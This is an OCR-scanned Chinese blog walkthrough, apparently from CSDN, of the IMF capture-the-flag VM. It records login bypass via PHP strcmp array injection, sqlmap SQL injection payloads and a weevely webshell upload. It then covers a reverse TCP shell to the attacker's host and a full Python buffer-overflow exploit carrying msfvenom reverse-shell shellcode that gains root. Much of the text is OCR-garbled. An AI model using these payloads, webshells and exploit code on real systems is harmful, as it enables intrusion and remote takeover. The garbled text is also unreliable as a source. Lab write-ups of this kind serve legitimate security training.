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:~# netdiscover -i eth® -r
Currently scanning: Finished! | Screen View: Unique Hosts
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http: contact.php ] wBa ¥ #

ost Visitedw || Offensive Security — Kali Linux  Kali Docs - Kali Tools * Exploit-DB  Aircrack-ng ~ Kali Forums . NetHunter

<section id="service">
<div class="container">
|<!-- flagl{YWxsdGh1ZmlsZXM=} -->|
<div class="service-wrapper">
<div class="row">
<div class="col-md-4 col-sm-6"=>
<div class="block wow fadeInRight" data-wow-delay="1s">
<div class="icon">
<iclass="fa fa-desktop"></i>
</div>

<h3>Roger S. Michaels</h3>
<p>rmichaels@imf.local</p>
<p=Director</p=

flagl{YWxsdGhlZmlsZXM=}

ATk Biflagt B /& base644iit, fRILEE

# echo YWxsdGhlZmlsZXM= | base64 -d

D ~#

#onF A allthefiles.
flag2

I — T, BATAIA LA s 4 7 tica e, JATPFE—ik2, base64ffid. Fkf5flag2.

rce:hitp: ontact.php ! wBa ¥ A

i@ Most Visitedv ]| Offensive Security - Kali Linux - Kali Docs - Kali Tools = Exploit-DB §Aircrack-ng ~ Kali Forums - NetHunter

<l--Js--=
<script src="js/vendor/modernizr-2.6.2.min.js"></script=>
<script src="js/vendor/jguery-1.10.2.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<scriptsrc=|'js/ZmxhZzJ7YVcxbV1l.js"></scyipt>
<script src=|'js/XUnRhVzVwYzNS.js"></scrift>
<script src=['is/eV1YUnZjZz09f0==.min.js"4</script=
root@kali: ~

MHE(F) fmIB(E) EE(V) ) EEEA(H)

:~# echo ZmxhZzl7YVcxbV1XUnRhVzVwYzNSeVlYUnZjZz09fQ==|base64 -d
flagz{awlmYWRtaWSpc3RyYXRvcg==} s ~#F I

flag2{aWlmYWRtaW5pc3RyYXRvcg==}

flag2 B [ 9/t base64 4y, FAVELE — T .

# echo aWlmYWRtaWSpc3RyYXRvcg== | base64 -d

imfadministrator .~# |

i ~imfadministrator.
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@& Most Visited~ || Offensive Security . Kali Linux

Username:

Password:

RN 4

&) O & 1003131

@& Most Visitedv || Offensive Security . Kali Linux K

Invalid username.
Username:

Password:

FA12=http://10.0.3.131/contact.php
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Roger S. Michaels Alexander B. Keith Elizabeth R. Stone
rmichaels@imf.local akeith@imf.local estone@imf.local
Director Deputy Director Chief of Staff

B2, K IBrmichaels 2 A LAY

RV, PP E DA T LA o


http://10.0.3.131/contact.php

e:http://10.0.3.] fadministrator/ = wBe ¥ a4 O

sitedv ]| Offensive urity  Kali Linux ~ Kali Docs  Kali Tools = Exploit-DB JAircrack-ng ~ Kali Forums — NetHunter - Kali Training

<form method="P0OST" action="">

<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />

<input type="submit" value="Login">

<!--Tcouldn'tget theSQLworking, soI hard-coded the password. It'sstill mad secure through. - Roger -->
</form>

U ARG A, FRATE AR T strempeg B, stromp()se Xt T AR 74 B R [0, AS[A] 2 745 R ik (31 4F0,
EIN R AR T8, stremp(PBiR [Elnull. fEphprinull==0/2true. #7552 % & ok 51 4 i Y 55 A 7455 £ UG
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BT AFRATI b — AN B0, K pass 7B H iy 4 Fypass]]-
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i@ Most Visitedv || Offensive Security  Kali Linux  Kali Docs ~ Kali Tools = Exploit-DB  VAircrack-ng ~ Kali Forums — NetHunter — Kali Training

Invalid username.
Username;

rmichaels

Password:

Eurp Intruder Repeater Window Help

Burp Suite Community Edition v1.7.32 - Temporary Project

Target |\Rh@sad T Spider T Scanner T Intruder T Repeater ‘[ Seguencer T Decoder T Comparer ‘[ Extender T Project options T User options ‘[ﬁ\ler'ts ]

j Intercept T HTTP history TWebSockets history ‘[ Optiong ]

[#] Request to http:#/10.0.3.131:80

Forward Cro Intercept is on Action Comment this itermn
| | | P p |

j Faw T Params T Headers T He:x ]

POST /imfadministrator/ HTTP/1.1

Host: 18.08.3.131

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-U5,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.3.131/imfadministrator/

Cookie: PHPSESSID=501021cl@akvibifonudjoachs

Connection: close

Upgrade-Insecure-Reguests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

am
L 1]
2 |

user=rmichaels&pass[1=df|

o, 3kf5flag3

€ O 10.

& Most Visitedw || Offensiy

flag3{Y29udGludWVUT2ZNtcw==}
Welcome, rmichaels
IMF CMS

f1ag3{Y29udGludWVUT2Ntcw==}
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:~# echo Y29udGludwWVUT2Ntcw== |basef4 -d

continueTOcms = |

i xcontinueTOcms.
flag4
AN RS, BhEL B R DU .

@& Most Visitedv || Offensive Security — Kali Linux — Kali Docs - Kali Tool

B This 'k may require you to login to use the internet.

IMF CMS

Menu: Home | Upload Report | Disavowed list | Logout

Welcome to the IMF Administration.

B R KU A, BATREURLER — 1S Hpagenameff], FA T T

wB 3

i@ Most Visitedwv || Offensive Security - Kali Linux — Kali Docs - Kali Tools = Exploit-DB  VAircrack-ng ~ Kali Forums — NetHunter . Kali Training

B This network may require you to login to use the internet.

IMF CMS

Menu: Home | Upload Report | Disavowed list | Logout

Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/imfadministrator
/cms.php on line 29

AN, FATHsqlmapsi— T

sqlmap -u "http://10.0.3.131/imfadministrator/cms.php?pagename=upload"” --cookie "PHPSESSID=s0l102lcl@akvibjf

FEAFAETENT o



Parameter: pagename (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pagename=upload' AND 6384=6384 AND 'GKRc'='GKRc

Type: error-based

Title: MySQL == 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (FLODOR)

Payload: pagename=upload' AND (SELECT 8408 FROM(SELECT COUNT(*),CONCAT(@x717
0627a71, (SELECT (ELT(8408=8488,1))),0x71716a6271,FLOOR(RAND(®)*2))x FROM INFORMA
ION SCHEMA.PLUGINS GROUP BY x)a) AND 'lIjE'='lIjE

Type: AND/OR time-based blind
Title: MySQL =>= 5.0.12 AND time-based blind
Payload: pagename=upload' AND SLEEP(5) AND 'wyBS'='wyBS

Type: UNION query

Title: MySQL UNION query (NULL) - 1 column

Payload: pagename=-6399' UNION ALL SELECT CONCAT(8x7170627a7l,0x4c4774596
56526976704e72676T795673504a5a6e756452644e534154434b536658674a656963,0x71716a62
1)#

[18:03:43] [INFO] the back-end DBMS is MySQL

veb server operating system: Linux Ubuntu 16.04 (xenial)
vweb application technology: Apache 2.4.18

back-end DBMS: MySQL == 5.0.0

[*] shutting down at 18:03:43 https://blog.csdn.net!Jiajiajiang_

AT

admin

information schema
mysql

performance schema
SYs

Ok



Database: admin
[Table: pa

| Under Construction.

| Welcome to the IMF Administration.

tutorials-incomplete | Training classrooms available. <br /=<img src="./1

7= Contact us for training.
| 4 disavowlist | <hl=Disavowed List</hl=<img src="./images/redacted
.Jpg"=<br /asul=<liz¥*kkkskkskke/]]maljzkkkrks kxkkkshe f] jaa] jukkkrkrkeg /] jaa] jukets

Jiajiajiang_"

RIHT DL . Vi lA] .
€y [ 10.0.3.131

i@ Most Visitedw || Offensive Security — Kali Linux  Kali Docs — Kali Tools = Exploit-DB " Aircrack-ng

B This network may require you to login to use the internet.

IMF CMS

Menu: Home | Upload Report | Disavowed list | Logout

Training classrooms available.
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Contact us for training.
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tlage{dXBsb2FkcjkoMiswaHA=}

sk f3flags

flag4{dXBsb2FkcjkeMi5waHA=}

:~# echo dXBsb2FkcjkeMiSwaHA= |baset4 -d

uploadr942.php

$E7R H L ifuploadr942.php.
flag5
Y7 A B BT LI

0.0.3.131
Most Visited~ || Offensive Security - Kali Linux . Kali Docs . Kali

B This network may require you to login to use the internet.

Intelligence Upload Form

File to upload: No file selected.

Upload

FIRIRZ I IEM WA, REBAVE A weevely KA BIA

BT weevely /2 —# &/ pythonZ 5 iwebshell 1. A (fEwebshell £ i fliE 1% F—4) , i LIEE=Zinux T
HI—XFKETTEC T A (BRTFphp) , ZElinux L ERT 2R 771, Bl RLEpE G rwindows [ 526/, &1

KWL AT AT LR

A A
e

weevely generate t@0r ~/shell.php

Bk



$ str_replace('|',
Si=$i(' ' ,$t) ;%5 0);

2 https://blog.csdn.net/Jiajiajiang_

B A 2 N gif.
AR LA

Intelligence Upload Form

File successfully uploaded.

File to upload: [EEEHSUEN o file selected.

FALEY), BEVE,

<html>

<head>

<title>File Uploader</title>
</head>

<body>
<hl>Intelligence Upload Form</hl=>

f;le&u;;&s&iull;upliaded.
<!--46b647964a74 - ->¢form id="Upload" action="" enctype="multipart/form-data" method="post">

<p=
<label for="file">File toupload:</label>
<input id="file" type="file" name="file">
</p>

<p>
<input id="submit" type="submit" name="submit" value="Upload">
</p=>
</form=>

</body>
</html>
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fii FlweevelyiZE#: K 5 .

.3.131/imfadministrator/u

/himl/imfadministrator/u

#/Ragentservices.
flag6

HA 13k Hishell A e — 332 —httpif ok, A AFAE Hiweevelyd 37 < [AITCP shell .« #H24T, G
Webii 55 #& 171 A1 H O HLUIN 2 S IEFR T AN & AT ] 2 1 F2 Web ik 95 4% «

A T4EKal V81813 1 .

root@kali:~/mytools# nc -lvp 8181
listening on [any] 8181 ...

13515 (f)weevely shell %\ -

www-data@imf: /var/www/html/imfadministrator/uploads $ :backdoor_reversetcp 10.0.3.198 8181

(10.0.3.198:& Fekalifiptth i)

RAG I ) IR ) shell .

:~/mytools# nc -lvp 8181
listening on [any] 8181 ...
10.0.3.131: inverse host lookup failed: Unknown host
connect to [10.0.3.198] from (UNKNOWN) [10.0.3.131] 40072

/bin/sh: ©: can't access tty; job control turned off
$ whoami
www-data

ATEFE P 13w



% netstat —antp
(Not all proces could be identified, non-owned process info
will not be ahown, you would have to be root to see it all.)
Active Internet connections ( and established)
Proto Recv-0Q Send-Q Local Add Foreign Address
PID/Program name

[¢] 0 127.0.0.1:3306 0.0.0.0:%*

0 0 0.0.0.0:7788 0.0.0.0:% LISTEN

e 0 0.0.0.0:22 0.0.0.0:%* LISTEN
125 10.0.3.131:40072 10.0.3.198:8181 ESTABLISHED

0 :::80 2885 LISTEN

0 :::22 2885 LISTEN

0 10.0.3.131:80 SH

tJIuL csdn. Ht‘isjdjlr_ =11k

RATT8BRA BAE, BALE—L THT.

$ cat fetc/servic p 7788
agent 7788/tcp # Agent service

Wit 2 flagsrh # -~ Al 1 agentservices.

ps -aux

pstir 22 BE MR A2 ﬁfﬂ T4 T LA 2 A R e R IEFE IS AT B AT BPIRAS . R R B4, #HiE A
BN, MRt S T2 RIS

1066 0.8 8.7 27708 7764 7 ! Aprl4d 9:00 fusr/lib/policykit-1/polkitd --no-

1152 0.8 8.C ] D 7 ‘ Aprila :58 [kworker/e:5]
1175 . ). 2 8752 2196 7 ‘ Aprl4d :37 fusr/sbin/knockd -d
1176 0.€ ). € 220 148 7 L Aprl4 p:05 fsbin/iscsid
1177 0.8 a. 3512 7 ‘ April4 o /sbin/iscsid
nysql 1192 0.0 16.4 37844 167552 ? C Aprl4d :47 Jfusr/sbin/mysqld

F FknockfE LB 1T .

R agentf SCfF, FTOFHAF—A

cat Jetc/xinetd.d/agent
' ault: on
# cription: The agent
H unencrypted agentid for
erv1cﬁ agent

REUSE
= stream
= no

Jusr/local/bin/agent
on_failure = USERID

log.csdn.net/diajiajiang_

191 55—



$ pwd
Jusr/local/bin

$ cat access codes
SYN 7482,8279,9467

HRITH.
A EA LI Knocki T 77883 1.

:~/mytools# knock -v 18.0.3.131 7482:tcp 8279:tcp 9467:tcp
hitting tcp 10.8.3.131:7482
hitting tcp 10.0.3.131:8279
hitting tcp 10.0.3.131:9467

:~/mytools# nmap -p 7788 10.8.3.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-84-18 16:34 CST
Nmap scan report for 10.0.3.131
ost is up (0.00036s latency).

STATE SERVICE
en unkno
PO:0C:29:6D:86:37 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.87 seconds
:~/mytools# nc 10.8.3.131 7788

Agent
Reporting

System

sdn.net/Jiajiajiang_

%4 gdb-peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

¥ragenttz)Tbase644T L, TEA MY,

4 base64 -w 0 Jfusr/local/bin/agent
TOVMRgEBAQAAAAAAAALAAATAAWABAAAAATUECDQAAACOKQAAAARAADQATAAIACGAHWACAAYAAAADAAAA
NIAECDSABAggAQAATAEAAAUAAAAEAAAAAWAAAFQBAABUgQOIVIEECBMAAAATAAAABAAAAAEAAAABAAAA
gAQIKABAACQPAAAFAAAAABAAAAEAAAATHWAACKBECAI vBAgOAQAARAEARAYAAAAREAAA
\gAAABOTARAUIrwQIFKBEC AADOAAAABgAARAQAAAAEAAARAAEAAGIBBAhOgQOTIRAAAAEQAAAAEAAAA
BAAAAFDLdGSMDQAA]JIOECIyNBAhMAAAATAAARAQAAAAEAAAAUEYOZAAAALAAAAALAAAAARAALAAALALAAAA
BwAAABAAAABSSXRKCBBAAAIVBAGI rwQI+AAAAPgAAAAEAAARAQAAACISAWIVDGOTbGLudXguc28uMgAA

BAAAABAAAAABAAAAROSVAAAAAAACAAAABYAAACAAAAAEAAAAFAARAAMAAABHTLUAREGZELi5nUkubnn+
L4PING/I1IMcDAAAADAAAAAEAARAFARA SATAWAAAANAAAARAAAAACKDjBYsSS+PAZIVhEAAAAAAAAAAA
AAAAAAAAABAAAAAAAAALAAAARASAAAAUWAARAAAAAARARAAEQAAADODAARARAARARAAAABTAAABCAARA
AAAAARAAAASAAAAPAAAAAAAARAAAAAAEQAAADEAAAARARAARARAABTAAABZAARAARAAAAAAARARAGAARA
YOAAAAAARAAAAAAAEGAAAFEAAAAAAARAAAAAABTIAAAAIAAAAAAARAAAAAAASAAAAGOAAAARAARAAAAAA

EgﬁﬁﬁEoﬁﬁﬁBESﬁOIBﬁﬁﬁﬁBEﬁGgﬁLﬁﬁﬁﬁ?IHECAQAAAARABAANgAAAEE#BAgE@ﬁ?EEEAaAA sah]
il S|
Z &

Lj YAX@LPX3NOZGLuX3VzZWQAC3RybmNtcABTX21zb2M50VIzY2FuZgBwa XK UG ZI25RS



ytools# cat agent | base64 -d =agend

mytools# cat agend
ELFLITTTT R 46 ([MHa646 [0 lmwrm'u.l‘wmlﬁihfmniitd
6666 LLIAMe td[RE 16861 1ib/ 1d-1inux. so. 2[[HEGNUEE [EGENUDMERESI . nyé#6840686[0

B+
) [BBkebguaFHEBEE ahE D osHH

Wual’dlbc 50.6 I0 stdin usedstrncm

P ‘-p—tchdrhtdoutahprlntfwtbuf llbc start _main__gmon_

'.Jt_d. HDE _'-. ._'-. E i

GBEREEREN & (e[ e[
t)'f)

A BEANBEIB AT 1 SR R & linuxae 644 1) e vk ia 47 32067 R

L3220

apt install 1ib32z1

~/mytools# apt install lib32z1
IEfEiZ E 3R f#'TEIJ$
E&E 7
1IE £ 1% By
BaE
libc
BlEE:
glibc-doc
Fol[#FH] KEE
lib32z1 Ilbcﬁ i3
'FﬁIJ f#'ﬂ-—m?iﬂ...
dev-bin 1ibc6 libc6-dbg libc6-dev
4 TMHRHER,FERT 2 MHREE ,EHH 0 MRER ., B 1948 THREF B K ®

} kB/20.4 MB AYI34%4,
14.1 MB RYEN S = @,
[‘r';'n] Vi
% Bl :1 http://mirrors.aliyun.com/kali kali- rolllngjmaJ]_n am F4 llbjp j:rndﬁ gl
2.11.dfsg-1 [95.8 kB] 1.netiajiajiang_

4 LUEiT XM T

:~/mytools# ./agend

BT RFATE FHagent ID.

R AR HTIEAT
ltraceRE W R B 3ERE 1 ZE BRI B, 8 2 B HA IR 22 BB 0t 1 o



$ ltrace agent

| libc start main{®x80485fb, 1, oxfff7d484, ©x8848970 <unfinished ...
5¢ (BxT7723d66, 0) = =yoid=
asprintf{exfff7d3b8, 0x804 ), 0x2ddd9s84, exf758béec) =

puts("

)

puts("” AV o \ge _ B | | Agent
)

puts (" ANV B Reporting" | || |IN/] | | Reporting
)

puts(" System\n" | | | | _|_| System

)
yrintf("\nAgent ID
Agent ID )

9, Oxf77235a0) = Axfff7d3be
strncmp("fds wn", "48093572", 8) =1
puts("Invalid Agent ID "Invalid Agent ID
) = 18

! . hitps://blog.cedn.net/Jiajiajiang
+++ exited (status 254) +++ ¢ = llajlang_

RILIX B, AEHA T agent IDM i 5 248093572,

St — LS, EECRESIX ML E, A RS S BN S b X i s, X2 IR N 1024457 K BT .
AT IX AN — i@ 7E A HIZ 1T ) 3k # gdb A i pattern_create, -1 [ pattern_offset#k t 7E M8 B FAT 17T
LL7E SEEIP,



root@kali:~/mytools# gdb -q agend

Reading symbols from agend...(no debugging symbols found)...done.

gdb-peda$ pattern_create 1024

' AAA%AASAABAASAANAACAA-AA (AADAA ; AA) AAEAAAAGAAFAADAATIAAGAACAA2AAHAAJAASAATAAeAAAAATAATAASAAKAAEAAGAALAANAAT
gdb-peda$ run

Starting program: /root/mytools/agend

- _I \/ | _| Agent

[ 11 I\/] | _| Reporting
Y T System

Agent ID : 48093572
Login Validated

Main Menu:

1. Extraction Points
2. Request Extraction
3. Submit Report

0. Exit

Enter selection: 3

Enter report update: AAA%AASAABAA$AANAACAA-AA(AADAA;AA)AAEAAAABGAAFAADAAIAAGAACAA2AAHAADAASAATAAeAA4AATAATA
Report: AAA%AASAABAASAANAACAA-AA(AADAA;AA)AAEAAaAAGAAFAADAAIAAGAACAA2AAHAADAA3AATAAeAAGAATAATAASAAKAAZAAGAA
Submitted for review.

Program received signal SIGSEGV, Segmentation fault.

EAX: Oxffffd254 ("AAA%AASAABAASAANAACAA-AA(AADAA;AA)AAEAAQAAGAAFAADAAIAAGAACAA2AAHAAAASAATAAeAAAAATAAFAASA
EBX: 0x0

ECX: Oxf7fa9890 --> 0x0

EDX: 0x16

ESI: 0xf7fa8000 --> 0x1d9d6c

EDI: 0xf7fa8000 --> 0x1d9d6c

EBP: 0x41417241 ('ArAA‘')

ESP: Oxffffd300 ("AAWAAUAAXAAVAAYAAWAAZAAXAAYAAZA%%A%SA%BA%SA%NA%CA%-A%(A%DA% ; A%)AREA%aA%OALF A%DA%LA%GA%CA%
EIP: 0x74414156 ('VAAt')

EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

R L LT T T e e [ 1
Invalid $PC address: 0x74414156
[---mmmmmmm e stack----------------"""""\ - 1

0000 | oxffffd300 ("AAWAAUAAXAAVAAYAAWAAZAAXAAYAAZA%K%A%SA%BA%SA%NA%CA%-A%(A%DA%; A%)A%EA%aA%OA%FA%DA%IA%GA%CA
0004 | oxffffd3e4 ("AuAAXAAVAAYAAWAAZAAXAAYAAZA%%A%SA%BA%SA%NAKCA%-A%(A%DA%; A% ) A%KEA%aA%OA%F A%bA%LA%GA%CA%2A%
0008 | Oxffffd308 ("XAAVAAYAAWAAZAAXAAYAAZA%%A%SA%BA%SA%LNA%CA%-A%(A%DA% ; A%)A%EA%aA%OA%FA%DA%LA%GA%CA%2A%HA%
0012| oxffffd3ec ("AAYAAWAAZAAXAAYAAZA%%A%SA%BA%SA%NA%CA%-A%(A%DA%; A% ) A%EA%aA%OA%FA%bA%IA%GA%CA%2A%HA%AA%3A
0016| Oxffffd310 ("AwAAZAAXAAYAAZA%%A%SA%BA%SABNAKCAY-A%(A%DA%; A% ) A%EA%aA%OAK%F A%RbA%LA%GA%CA%2A%HA%AA%IA%IA%
0020| oxffffd314 ("ZAAXAAYAAZA%%A%SA%BA%SA%NALCA%L-A%(A%DA% ; A% ) A%EA%aA%OA%F A%DA%LA%GA%CA%2A%HA%AA%IA%I A% A%
0024 | oxffffd318 ("AAyAAzA%%A%SA%BA%SA%NA%CA%-A%(A%DA%; A%)A%EA%aA%OA%FA%DA%LA%GA%CA%2A%RHA%AA%IA%LIA%EA%AA%IA
0028 | oxffffd3lc ("AzA%%A%SA%BA%SABNAKCA%-A%(A%DA%; A% ) A%EA%aA%OAK%F A%DA%LA%GA%CA%2A%HA%AA%IA%I A% A%AA%IA%TA%

Legend: code, data, rodata, value
Stopped reason: SIGSEGV

0x74414156 in ?? ()

gdb-peda$ pattern_offset 0x74414156
1950433622 found at offset: 168
gdb-peda$ jmpcall eax

0x8048563 : call eax
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FORTIFY
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msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.3.198 LPORT=8888 -f python -b "\x00\x0a\x0b"
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import socket

# Target related variables
remotehost = "target_address"
remoteport = 7788

menuoption = 3

agentid = 48093572

# Default recv size
recvsize = 512

# Connnect to remote host

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)

client.send("{@}\n".format(agentid))

client.recv(recvsize)
client.send("{0}\n".format(menuoption))
client.recv(recvsize)

# Payload genereated by Msfvenom, to be force fed into reporting tool
buf = ""

buf += "\xd9\xc5\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x12\xbd\xed"

buf += "\xed\x3e\xbe\x83\xe8\xfc\x31\x68\x13\x03\x85\xfe\xdc"

buf += "\x4b\x64\xda\xd6\x57\xd5\x9f\x4b\xF2\xdb\x96\x8d\xb2"

buf += "\xbd\x65\xcd\x20\x18\xc6\xf1\x8b\x1la\x6f\x77\xed\x72"

buf += "\xb@\x2f\x63\x84\x58\x32\x7c\x96\xfa\xbb\x9d\x16\x9c"

buf += "\xeb\x0c\x05\xd2\x0f\x26\x48\xd9\x90\x6a\xe2\x8c\xbf"

buf += "\xf9\x9a\x38\xef\xd2\x38\xd0\x66\xcf\xee\x71\xfO\xf1"

buf += "\xbe\x7d\xcf\x72"

# Buffer is too small to trigger overflow. Fattening it up!
# 168 is the offset I found using pattern_offset

buf += "A" * (168 - len(buf))

# EAX call I made note of earlier in this segment
buf += "\x63\x85\x04\x08\n"

# And off we go!
client.send(buf)

PR ok, 7E3 118888 L i Bhnetcat il 45, 445 i shpythonftid

nc -lvp 8888



192.168.48.131: inverse host lookup failed: Unknown host

connect to [192.168.48.130] from (UNKNOWN) [192.168.48.131] 33014
whoami

root

Flag.txt

TheEnd. txt

cat Flag.txt
;flag6{R2gwc3RQcm99MGMwbHM=}

echo R2gwc3RQcm90MGMwbHM=|base64 -d
GhOstProtBcOlsls

Flag.txt

TheEnd.txt
cat TheEnd. txt

/blog.csdn.net/diajiajiang_

J&) o
flag 41 /oot

flag6{R2gwc3RQcm9OMGMwbHM=}
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